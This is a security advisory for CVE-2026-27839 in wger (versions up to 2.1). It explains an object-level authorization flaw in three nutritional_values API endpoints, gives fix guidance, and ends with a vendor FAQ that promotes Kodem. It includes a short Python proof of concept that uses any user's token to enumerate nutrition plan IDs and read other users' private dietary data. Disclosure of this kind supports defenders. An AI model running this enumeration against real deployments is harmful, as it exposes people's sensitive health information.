CVE-2026-27839

Three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk), a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.

Details

DRF detail actions do not automatically apply queryset filtering, the action must call self.get_object() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:

wger/nutrition/api/views.py:

# line 301, NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk)           # VULNERABLE, no user check

# line 356, MealViewSet
meal = Meal.objects.get(pk=pk)                    # VULNERABLE

# line 403, MealItemViewSet
meal_item = MealItem.objects.get(pk=pk)           # VULNERABLE

The correct pattern used in the same file at LogItemViewSet (line 438):

LogItem.objects.get(pk=pk, plan__user=self.request.user)  # CORRECT

Affected endpoints:

GET /api/v2/nutritionplan/{pk}/nutritional_values/
GET /api/v2/meal/{pk}/nutritional_values/
GET /api/v2/mealitem/{pk}/nutritional_values/

PoC

import requests

BASE = "http://localhost"
# Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER_TOKEN"}

# Read victim's nutrition plan, enumerate pk starting from 1
for pk in range(1, 100):
    r = requests.get(
        f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/",
        headers=headers
    )
    if r.status_code == 200:
        data = r.json()
        print(f"Plan {pk}: {data}")
        # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,
        #          fat, fat_saturated, fiber, sodium

No interaction from the victim required. Registration is open by default. PKs are sequential integers.

Any authenticated user can read other users' private dietary and health data:

• Daily caloric intake
• Protein, carbohydrate, fat, fiber, and sodium intake
• Full meal composition and ingredient quantities

This data is sensitive health information users expect to be private.

Fix: Replace direct ORM calls with self.get_object(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).

CVE-2026-27839 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-27839? CVE-2026-27839 is a medium-severity security vulnerability in wger (pip), affecting versions <= 2.1. No fixed version is listed yet.
2. How severe is CVE-2026-27839? CVE-2026-27839 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wger are affected by CVE-2026-27839? wger (pip) versions <= 2.1 is affected.
4. Is there a fix for CVE-2026-27839? No fixed version is listed for CVE-2026-27839 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-27839 exploitable, and should I be worried? Whether CVE-2026-27839 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-27839 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.